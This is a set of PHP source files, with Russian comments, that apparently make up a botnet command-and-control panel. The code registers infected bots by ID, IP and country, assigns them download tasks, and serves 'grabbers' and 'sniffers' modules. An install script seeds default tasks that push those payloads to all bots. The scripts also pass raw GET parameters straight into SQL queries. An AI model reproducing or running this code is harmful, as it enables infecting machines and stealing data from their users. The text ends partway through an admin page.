<?php if (!@$pageIncluded) { chdir('..'); } require_once "config.php"; require_once "ln/ln.php"; require_once "includes/mysql.php"; $db = new odbcClass(); require_once "includes/functions.php"; $config["language"] == "ru" ? $l = "ru" : ($l = "en"); if (!isset($_GET['fid'])) { die; } $v = $db->query("SELECT * FROM ccTaskFilter WHERE `taskId` = '" . $_GET['fid'] . "'") or die(mysql_errno() . ' ' . mysql_error() . ' in ' . __LINE__); foreach ($v as $r) { $out[] = $r['cc']; } echo implode(",", $out);
<? /* Сладких снов счастье =) */ //file_put_contents('1.txt',implode("\r\n",$_POST)); header('Content-Type: text/html; charset=utf-8'); if (!@$pageIncluded) chdir('..'); require_once("config.php"); require_once("ln/ln.php"); require_once("includes/mysql.php"); $db=new odbcClass(); require_once("includes/functions.php"); $config["language"] == "ru" ? $l = "ru" : $l = "en"; if (!function_exists('geoip_country_name_by_name')) include('includes/geoip.php'); $gip = new GeoIP; if (!isset($_POST['cc'])) {$_POST['cc']='all';} $_POST['cc']=trim($_POST['cc'],','); $cc=explode(',',$_POST['cc']); $c = Array(); if($cc[0]=='0') { $c[]='all'; } else { foreach($cc as $k => $v) { $c[]=$gip->GEOIP_COUNTRY_CODES[$v]; }
<?php require_once "config.php"; require_once "includes/mysql.php"; $db = new odbcClass(); require_once "includes/functions.php"; if (isset($_GET["module"]) && $_GET["module"] == "grabbers") { $db->query("INSERT INTO `gscounter` (`option`, `value`) VALUES ('grabbers', '1') ON DUPLICATE KEY UPDATE value = value + 1;"); download_file(GRABBERS_PATH); } if (isset($_GET["module"]) && $_GET["module"] == "sniffers") { $db->query("INSERT INTO `gscounter` (`option`, `value`) VALUES ('sniffers', '1') ON DUPLICATE KEY UPDATE value = value + 1;"); download_file(SNIFFERS_PATH); }
<?php if (!@$pageIncluded) { chdir('..'); } require_once "config.php"; require_once "ln/ln.php"; require_once "includes/mysql.php"; $db = new odbcClass(); require_once "includes/functions.php"; $config["language"] == "ru" ? $l = "ru" : ($l = "en"); if (!isset($_GET['cc'])) { $_GET['cc'] = 'all'; } $cc = explode(',', trim($_GET['cc'], ',')); $db->query("DELETE FROM `ccTaskFilter` WHERE `taskId` = " . $_GET['fid'] . ";"); foreach ($cc as $v) { $db->query("INSERT `ccTaskFilter` (`taskId` , `cc`) VALUES ('" . $_GET['fid'] . "','" . $v . "');"); }
<?php require "config.php"; require "includes/functions.php"; require "includes/mysql.php"; require "includes/geoip.php"; $db = new odbcClass(); // если есть ось и идентификатор бота if (isset($_GET["bid"]) && isset($_GET["os"])) { $bid = $_GET["bid"]; $os = get_os($_GET['os']); // правильный ли формат идентификатора бота if (preg_match("/^[[:xdigit:]]{16}\$/", $bid)) { // смотрим страну по IP. А IP проверяем на валидность. $ip = getip(); $cc = get_country($ip); // вставляем в базу идентификатор бота, если такой уже есть то изменяем время последнего захода $db->query("INSERT INTO `bots` (`id`,`ip`,`cc`,`first_time`,`last_time`,`system`) VALUES ('" . $bid . "','" . $ip . "','" . $cc . "','" . time() . "','" . time() . "','" . $os . "') ON DUPLICATE KEY UPDATE `last_time` = '" . time() . "';"); // работа с задачами // выбираем задачу + данные из таблицы стран относящиеся к задаче + табличку с лимитами ГДЕ id бота в таблице заданий есть как у пришедшего и в списке стран есть страна которая соответствует нашей, и бот не в списке финишировавших для этой задачи $task = $db->query("SELECT * FROM tasks\r\nLEFT JOIN ccTaskFilter ON ccTaskFilter.taskId = tasks.id \r\nWHERE tasks.bot = '" . $bid . "' \r\nAND (tasks.count < tasks.`limit` OR tasks.`limit` = 0)\r\nAND (ccTaskFilter.cc = '" . $cc . "' OR ccTaskFilter.cc='all') \r\nAND '" . $bid . "' NOT IN (SELECT botId FROM finished WHERE finished.taskId = tasks.id)\r\nAND (tasks.stop = '0' OR tasks.stop = '-1')"); if ($task[0] == 0) { // выбираем задачу + данные из таблицы стран относящиеся к задаче + табличку с лимитами ГДЕ id бота в таблице заданий для всех и в списке стран есть страна которая соответствует нашей, и бот не в списке финишировавших для этой задачи $task = $db->query("SELECT * FROM tasks\r\nLEFT JOIN ccTaskFilter ON ccTaskFilter.taskId = tasks.id \r\nWHERE tasks.bot = 'all' \r\nAND (tasks.count < tasks.`limit` OR tasks.`limit` = 0)\r\nAND (ccTaskFilter.cc = '" . $cc . "' OR ccTaskFilter.cc='all') \r\nAND '" . $bid . "' NOT IN (SELECT botId FROM finished WHERE finished.taskId = tasks.id)\r\nAND (tasks.stop = '0' OR tasks.stop = '-1')"); } $task[0] == 0 ? exit(SECRET_KEY) : false; // формируем вывод задания $taskOut = ''; foreach ($task as $k => $v) { $v['flags'] = trim($v['flags']); if (!empty($v['flags'])) {
<?php if (!@$pageIncluded) { header("Content-type: text/html; charset=utf-8"); chdir('..'); } require_once "config.php"; require_once "includes/mysql.php"; $db = new odbcClass(); if (isset($_GET['t']) && $_GET['t'] == 'all') { $ids = $db->query("SELECT taskId FROM `ccTaskFilter` LEFT JOIN tasks ON ccTaskFilter.taskId = tasks.id WHERE tasks.stop != '-1'"); if ($ids[0] != 0) { foreach ($ids as $v) { $db->query("DELETE FROM `ccTaskFilter` WHERE taskId = " . $v['taskId'] . ";"); } } $db->query("DELETE FROM `tasks` WHERE stop != '-1';"); $db->query("TRUNCATE TABLE `finished`"); $db->query("TRUNCATE TABLE `bots`"); $db->query("TRUNCATE TABLE `gscounter`"); $db->query("UPDATE `tasks` SET `count` = '0'"); } elseif (isset($_GET['t']) && $_GET['t'] == 'stat') { $db->query("TRUNCATE TABLE `finished`"); $db->query("TRUNCATE TABLE `bots`"); $db->query("TRUNCATE TABLE `gscounter`"); $db->query("UPDATE `tasks` SET `count` = '0'"); } else { exit('no t in GET'); } echo "ok";
<?php if (!@$pageIncluded) { chdir('..'); } require_once "config.php"; require_once "ln/ln.php"; require_once "includes/mysql.php"; $db = new odbcClass(); require_once "includes/functions.php"; $config["language"] == "ru" ? $l = "ru" : ($l = "en"); if (!isset($_GET['fid'])) { $_GET['fid'] = ''; } $fid = $_GET['fid']; $v = $db->query("SELECT * FROM `tasks` WHERE `id` = '" . $fid . "'"); if ($v[0] == 0) { exit('-1'); } if ($v[0]['stop'] == '0') { $db->query("UPDATE `tasks` SET `stop` = '1' WHERE `id` = " . $fid . ";"); exit("1"); } else { $db->query("UPDATE `tasks` SET `stop` = '0' WHERE `id` = " . $fid . ";"); exit("0"); }
<?php require "config.php"; require "includes/functions.php"; require "includes/mysql.php"; $db = new odbcClass(); $db->query("CREATE TABLE `bots` ( `id` varchar(16) NOT NULL DEFAULT '0', `ip` varchar(15) NOT NULL DEFAULT '', `cc` varchar(10) NOT NULL, `first_time` int(11) NOT NULL, `last_time` int(11) NOT NULL, `system` int(1) NOT NULL, PRIMARY KEY (`id`)) ENGINE=MyISAM DEFAULT CHARSET=utf8;"); $db->query("CREATE TABLE `ccTaskFilter` ( `taskId` int(11) NOT NULL, `cc` varchar(5) NOT NULL) ENGINE=MyISAM DEFAULT CHARSET=utf8;"); $db->query("INSERT INTO `ccTaskFilter` VALUES(1, 'all');"); $db->query("INSERT INTO `ccTaskFilter` VALUES(2, 'all');"); $db->query("INSERT INTO `ccTaskFilter` VALUES(3, 'all');"); $db->query("CREATE TABLE `finished` ( `botId` varchar(16) NOT NULL, `taskId` int(11) NOT NULL) ENGINE=MyISAM DEFAULT CHARSET=utf8;"); $db->query("CREATE TABLE `gscounter` ( `option` varchar(255) NOT NULL, `value` varchar(255) NOT NULL, PRIMARY KEY (`option`)) ENGINE=MyISAM DEFAULT CHARSET=utf8;"); $db->query("CREATE TABLE `tasks` ( `id` int(11) NOT NULL AUTO_INCREMENT, `bot` varchar(16) NOT NULL, `url` varchar(255) NOT NULL, `command` varchar(25) NOT NULL, `flags` varchar(10) NOT NULL, `functionName` varchar(50) NOT NULL, `limit` int(10) NOT NULL, `count` int(11) NOT NULL, `stop` set('0','1','-1') NOT NULL, PRIMARY KEY (`id`)) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;"); $db->query("INSERT INTO `tasks` VALUES(1, 'all', '" . WEB_ROOT . "/load.php?module=grabbers', 'download', 'dpm', 'Work', 0, 0, '-1');"); // Функция пока недоступна //$db -> query("INSERT INTO `tasks` VALUES(2, 'all', '".WEB_ROOT."/load.php?module=avclean', 'download', 'dpms', 'Work', 0, 0, '-1');"); $db->query("INSERT INTO `tasks` VALUES(3, 'all', '" . WEB_ROOT . "/load.php?module=sniffers', 'download', 'dpms', 'Work', 0, 0, '-1');"); exit("<h1>Done!<br><a href='admin.php'>Admin panel</a></h1>");
<?php if (!@$pageIncluded) { header("Content-type: text/html; charset=utf-8"); chdir('..'); $dir = '../'; } else { $dir = ''; } require_once "config.php"; require_once "ln/ln.php"; require_once "includes/mysql.php"; $db = new odbcClass(); require_once "includes/functions.php"; $config["language"] == "ru" ? $l = "ru" : ($l = "en"); ?> <h1><?php echo $lang[$l][11]; ?> </h1> <!-- модальное окно редактирование задачи --> <div id="editWindow" style="display:none;position:fixed;top:45%;left:45%;border:5px solid gray;padding:40px;padding-top:10px;background:#fff;text-align:left;"> <span style="color:gray;cursor:pointer;margin-bottom:20px;display:block;" onClick="$(this).parent().hide()">X <?php echo $lang[$l][13]; ?> </span> <form method="post" enctype="multipart/form-data" onsubmit="return false"> <input type="hidden" id="editTaskID" value=""><br> <h1><?php